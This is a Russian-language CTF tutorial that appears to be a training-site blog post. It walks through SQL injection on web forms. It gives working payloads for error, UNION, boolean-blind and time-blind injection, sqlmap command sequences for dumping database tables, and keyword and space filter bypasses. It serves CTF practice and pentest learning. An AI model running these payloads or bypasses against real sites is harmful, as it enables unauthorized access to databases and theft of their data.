
На прошлогоднем online CTF попалось задание: форма поиска товаров, один GET-параметр q, ни одной SQL-ошибки в ответе. Вставил ' AND 1=1-- — результаты на месте. Вставил ' AND 1=2-- — пустая страница. Boolean-based blind, MySQL. Через 15 минут ручного перебора подтвердил имя таблицы, переключился на sqlmap с флагом --technique=B — флаг получен за три минуты. Трое участников из чата на этом таске застряли: запускали sqlmap без параметров, инструмент слал сотни запросов и ничего не находил. Проблема не в инструменте — без ручной разведки автоматизация слепа. Умение определить тип SQL-инъекции и выбрать технику эксплуатации — вот что отделяет решённые CTF-задания от зависших.
В CTF-заданиях категории Web SQL-инъекция — одна из самых частых уязвимостей. По классификации OWASP Top 10 инъекции сидят на позиции A03:2021 — Injection и стабильно входят в тройку критичных рисков веб-приложений. В реальных атаках SQL-инъекция используется на этапе Initial Access — техника Exploit Public-Facing Application (T1190) по MITRE ATT&CK. Дальнейшее извлечение данных из базы — Collection, конкретнее — Databases (T1213.006). Подробнее — в нашем обзоре пентест веб-приложений.
Цепочка в CTF-задании компактнее, чем на реальном пентесте, но методология та же:
SQL-инъекция возникает, когда пользовательский ввод попадает в SQL-запрос без валидации и экранирования. Сервер интерпретирует часть ввода как SQL-код, а не как данные. В CTF это обычно GET/POST-параметр, реже — Cookie или HTTP-заголовок типа User-Agent и Referer.
Первое действие в CTF-задании — понять, с каким типом инъекции работаешь. От этого зависит выбор техники и скорость решения. Алгоритм ниже закрывает большинство CTF-тасков:
| Шаг | Действие | Что наблюдаете | Тип инъекции |
|---|---|---|---|
| 1 | Вставить ' или " в параметр |
SQL-ошибка в ответе | Error-based |
| 2 | Подставить AND 1=1 и AND 1=2 |
Разный контент страницы | Boolean-based blind |
| 3 | Подставить AND SLEEP(5) |
Ответ задержан на 5 секунд | Time-based blind |
| 4 | Попробовать UNION SELECT NULL,... |
Дополнительные данные в выводе | UNION-based |
Порядок важен: начинайте с простого и двигайтесь к сложному. Получили ошибку на первом шаге — уже повезло.
Error-based — самый информативный тип. Если приложение показывает SQL-ошибку при вводе ', вы получаете сразу несколько подсказок: тип СУБД, фрагмент запроса, иногда имена таблиц. На SQLite (частый выбор для лёгких CTF-тасков) ошибка выглядит как near "'": syntax error. На MySQL — You have an error in your SQL syntax. По тексту ошибки сразу определяете синтаксис для дальнейших пейлоадов.
Ограничение: error-based работает только если приложение отображает ошибки. В заданиях среднего уровня и выше ошибки подавлены — переходите к blind-методам.
UNION-based применима, когда результат SQL-запроса отображается на странице — список товаров, профиль пользователя, результаты поиска. Согласно документации PortSwigger, для работы UNION-атаки должны выполняться два условия: количество столбцов в UNION SELECT совпадает с оригинальным запросом, и типы данных столбцов совместимы. Самый быстрый путь к флагу, когда он применим.
Blind-инъекции встречаются в CTF чаще всего на заданиях средней сложности. Согласно описанию OWASP, blind SQL injection — тип атаки, при котором база отвечает на вопросы «да/нет», а атакующий восстанавливает данные по поведению приложения.
Boolean-based blind: страница меняется в зависимости от истинности условия. Классическая проверка — ?id=1 AND 1=1 показывает нормальную страницу, а ?id=1 AND 1=2 возвращает пустую или изменённую. Есть разница — можно задавать базе любые вопросы и получать ответы через поведение страницы.
Time-based blind: никакой разницы в контенте и HTTP-коде, но при добавлении AND SLEEP(5) (MySQL) или AND pg_sleep(5) (PostgreSQL) ответ приходит с задержкой. Самый медленный, но самый надёжный метод — работает даже когда всё остальное заблокировано.
Ограничение time-based blind: извлечение одного символа требует одного HTTP-запроса с задержкой. Для 32-символьного флага это больше двух минут чистого ожидания. В CTF с ограничением по времени ручная эксплуатация time-based нецелесообразна — сразу переходите к sqlmap.
Основная техника для CTF-заданий начального уровня, и именно здесь у новичков чаще всего ломается понимание. Разберём полный цикл.
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git (проект активно поддерживается, коммиты каждую неделю)Определяем количество столбцов. Два метода, оба рабочих:
Метод ORDER BY — подставляете ' ORDER BY 1--, затем ' ORDER BY 2--, ' ORDER BY 3-- и далее. Столбец в ORDER BY задаётся по индексу, имена знать не нужно. Когда номер превысит реальное количество столбцов — получите ошибку вида The ORDER BY position number N is out of range. Последний успешный номер = количество столбцов.
Метод NULL — подставляете ' UNION SELECT NULL--, потом ' UNION SELECT NULL,NULL--, потом ' UNION SELECT NULL,NULL,NULL--. Когда количество NULL совпадёт с количеством столбцов — ошибка исчезнет. NULL используется потому, что он совместим с любым типом данных, как отмечает PortSwigger в документации по UNION-атакам.
На MySQL после -- нужен пробел или символ # для комментария. На Oracle каждый SELECT требует FROM, поэтому синтаксис: ' UNION SELECT NULL FROM DUAL--. Мелочь, но на CTF именно на таких мелочах теряют время.
Находим строковые столбцы. Допустим, в оригинальном запросе три столбца. Нужно определить, какие из них принимают текстовые данные — именно через них вы будете вытаскивать информацию.
' UNION SELECT 'test',NULL,NULL--
' UNION SELECT NULL,'test',NULL--
' UNION SELECT NULL,NULL,'test'--
Если столбец не поддерживает строки — ошибка Conversion failed when converting the varchar value 'test' to data type int. Нет ошибки и на странице появилось слово test — столбец подходит. Запоминаете его позицию.
Извлекаем данные. Зная позицию строкового столбца (допустим, второй), переходим к разведке структуры базы. Для MySQL, PostgreSQL и SQLite используется information_schema:
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,column_name,NULL FROM information_schema.columns WHERE table_name='flags'--
' UNION SELECT NULL,flag,NULL FROM flags--
Первая строка показывает все таблицы в базе. Вторая — столбцы целевой таблицы. Третья — сами данные с флагом. В CTF-заданиях таблица с флагом обычно называется flag, flags, secret или users, а столбец — flag, value или password.
Если нужно вывести два поля через один столбец (например, username и password), используйте конкатенацию: на MySQL — CONCAT(username,':',password), на PostgreSQL и Oracle — username || ':' || password.
Ограничение UNION-based: техника не работает, если результат запроса не отображается на странице, если приложение фильтрует слово UNION, или если information_schema недоступна. Некоторые CTF-задания на SQLite используют sqlite_master вместо information_schema. Для SQLite запрос к метаданным: ' UNION SELECT NULL,sql,NULL FROM sqlite_master--.
Принцип boolean-based blind — формируете условие, которое проверяет конкретный символ в конкретной позиции. Ответ «да» (нормальная страница) или «нет» (изменённая) говорит, угадали ли вы.
Чтобы узнать первый символ пароля пользователя admin: ?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'. Страница нормальная — первый символ a. Пустая — пробуете b, c и далее. Функция SUBSTRING в MySQL принимает три аргумента: строку, позицию и длину.
Оптимизация: вместо полного перебора алфавита — бинарный поиск. Отправляете SUBSTRING(...,1,1) > 'm' — если «да», символ в верхней половине алфавита, если «нет» — в нижней. За 6-7 запросов определяете один символ вместо 26. Разница между «решил за 10 минут» и «сидел час».
На практике в CTF вручную стоит проверить первые 2-3 символа, чтобы подтвердить: инъекция работает, имя таблицы и столбца угаданы правильно. После этого — переключаетесь на sqlmap для полного дампа.
Time-based используется, когда ни контент страницы, ни HTTP-код не меняются при разных условиях. Единственный индикатор — время ответа.
Для MySQL: ?id=1 AND IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a', SLEEP(5), 0). Первый символ a — ответ приходит через 5 секунд. Нет — мгновенно.
Для PostgreSQL: pg_sleep(5) вместо SLEEP(5). Для MSSQL: WAITFOR DELAY '0:0:5'. Тип СУБД определяет синтаксис задержки — этот момент часто сбивает новичков. Пейлоад для MySQL не сработает на PostgreSQL, и наоборот.
Ограничение: time-based даёт ложные срабатывания при нестабильном соединении. Сервер отвечает с джиттером 2-3 секунды — увеличьте задержку до 10 секунд. На локальных CTF-стендах проблема минимальна, на удалённых серверах — регулярна.
| Критерий | Ручная эксплуатация | sqlmap |
|---|---|---|
| Скорость извлечения | Минуты на символ (blind) | Автоматизированный перебор |
| Понимание уязвимости | Глубокое — видите каждый запрос | Поверхностное — тулза работает за вас |
| Обход нестандартных фильтров | Гибко — адаптируете пейлоад | Через tamper-скрипты (не всегда хватает) |
| Объём трафика | Минимальный | Сотни и тысячи запросов |
| Когда использовать | Разведка, подтверждение инъекции | После подтверждения — дамп данных |
| Когда НЕ использовать | Дамп базы из сотен записей | Без предварительной ручной разведки |
Совет из практики CTF: sqlmap — инструмент эксплуатации, а не обнаружения. Сначала руками подтверждаете инъекцию, определяете тип и СУБД — потом передаёте sqlmap конкретные параметры. Чем больше информации дадите, тем меньше запросов он отправит и тем быстрее получите результат. Запускать sqlmap вслепую — как сканировать nmap'ом весь интернет в надежде найти свой таргет.
Допустим, вы подтвердили boolean-based blind инъекцию в GET-параметре id, СУБД — MySQL. Полная последовательность:
# Шаг 1: подтверждение инъекции и fingerprint СУБД
python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql --technique=B --batch
# Шаг 2: получаем список баз данных
python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql --technique=B --dbs --batch
# Шаг 3: получаем таблицы конкретной БД
python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql -D ctf_db --tables --batch
# Шаг 4: дампим таблицу с флагом
python sqlmap.py -u "http://target.ctf/page?id=1" --dbms=mysql -D ctf_db -T flags --dump --batch
Флаг --batch отвечает на все вопросы по умолчанию — в CTF экономит время, когда не хочется подтверждать каждое действие вручную.
Разбор ключевых флагов:
--technique=BEUSTQ — выбор техники: B (boolean), E (error), U (union), S (stacked), T (time), Q (inline). Тип инъекции известен — укажите одну букву, это сократит количество запросов в разы.
--level — от 1 до 5. На level 1 проверяются только GET/POST. На level 3 — Cookie и User-Agent. На level 5 — все заголовки. Для CTF хватает 2-3.
--risk — от 1 до 3. Risk 3 включает OR-based пейлоады, которые могут изменить данные. В CTF обычно безопасно, на реальном пентесте — осторожно.
--string и --not-string — для boolean-based blind: указываете текст, который появляется при истинном условии. Ускоряет детект.
-r request.txt — загрузка HTTP-запроса из файла Burp Suite. Полезно для POST-запросов со сложными параметрами и CSRF-токенами. В Burp Suite достаточно щёлкнуть правой кнопкой по запросу и выбрать «Save item».
--tamper — подключение скрипта для обхода фильтров. Подробнее — в следующем разделе.
Если sqlmap не находит инъекцию, хотя вы подтвердили её руками: повысьте --level до 5 и --risk до 3, явно укажите точку инъекции через * в значении параметра (-u "http://target.ctf/page?id=1*"), подключите tamper-скрипт, или передайте запрос через файл с -r.
CTF-задания среднего и высокого уровня намеренно ставят преграды. Вот основные и способы их обхода.
Фильтрация ключевых слов. Приложение блокирует UNION, SELECT, SLEEP. Обходы: смешанный регистр (uNiOn SeLeCt) — работает против case-sensitive фильтров; двойная запись (UNUNIONION SELSELECTECT) — работает против фильтров, удаляющих слово однократно; комментарии внутри слов (UN/**/ION SEL/**/ECT) — работает против простых regex-фильтров; URL-кодирование (%55NION %53ELECT).
Фильтрация пробелов. Замена пробела на /**/, табуляцию %09, перенос строки %0a, или скобки: UNION(SELECT(1),(2),(3)). В sqlmap для этого есть tamper-скрипт space2comment.
Фильтрация кавычек. Если ' и " заблокированы — используйте числовые пейлоады: ?id=1 AND 1=1 вместо ?id=1' AND '1'='1. Для строковых значений — функция CHAR(): CHAR(97,100,109,105,110) вместо 'admin'.
Tamper-скрипты sqlmap для обхода фильтров: --tamper=space2comment заменяет пробелы на /**/, between заменяет > на BETWEEN, randomcase рандомизирует регистр. Комбинируйте несколько: --tamper=space2comment,between,randomcase. Универсального обхода нет — подбирайте комбинацию под конкретный фильтр.
Rate limiting. Некоторые CTF-платформы ограничивают количество запросов. В sqlmap используйте --delay=1 (пауза 1 секунда) и --threads=1 (один поток). В ручном режиме это не проблема — вы и так отправляете запросы медленнее любой автоматизации.
' и " в каждый параметр — проверить ответ на SQL-ошибкиAND 1=1 vs AND 1=2 на разницу в контенте (boolean-based)AND SLEEP(5) на задержку (time-based)ORDER BY NUNION SELECT 'test',NULL,...information_schema.tables (MySQL/PostgreSQL) или sqlite_master (SQLite)information_schema.columnsUNION SELECT column FROM tablepython sqlmap.py -u URL --dbms=... --technique=... --dump --batchSQL-инъекции в CTF часто воспринимают как «уже разобранную тему» — мол, 2025 год, OWASP предупреждает двадцать лет, параметризованные запросы изобрели, проехали. Но на каждом CTF-турнире вижу одну и ту же картину: половина участников запускают sqlmap с голым URL и ждут чуда, вторая — вручную перебирают символы в time-based без бинарного поиска. Обе стратегии проигрышные. Ручная разведка без автоматизации — медленно, автоматизация без разведки — слепо. Мой подход к CTF-таскам по Web простой: потратить 5-10 минут на ручное определение типа, СУБД и точки входа, а потом отдать собранные параметры sqlmap. Этот навык переносится на реальный пентест один в один: ручная sql инъекция через curl или Burp Suite подтверждает уязвимость, а sqlmap с конкретными флагами делает тяжёлую работу по извлечению данных. И ещё момент, который редко обсуждают: умение читать SQL-ошибки и понимать структуру запроса формируется только через ручную практику — никакой инструмент его не заменит. Если только начинаешь и хочешь закрыть базу системно — IB Basics на codeby.school ведёт от основ сетей и ОС до первых задач по веб-уязвимостям, без хаотичного сёрфинга по YouTube.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...